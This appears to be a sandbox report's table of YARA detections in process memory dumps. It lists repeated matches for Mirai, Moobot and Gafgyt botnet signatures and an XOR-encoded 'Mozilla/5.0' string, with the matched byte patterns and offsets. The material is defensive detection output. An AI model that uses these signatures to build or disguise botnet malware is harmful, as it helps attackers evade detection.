6461.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6304.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7041.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7041.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7041.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7041.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7041.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7041.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7255.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7255.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7255.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7255.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7255.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7255.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6518.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6518.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6518.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6518.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6518.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6518.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7234.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6314.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6314.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6314.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6314.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6314.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6314.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6836.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6836.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6836.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6836.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6836.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6836.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6550.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6550.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6550.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6550.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6550.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
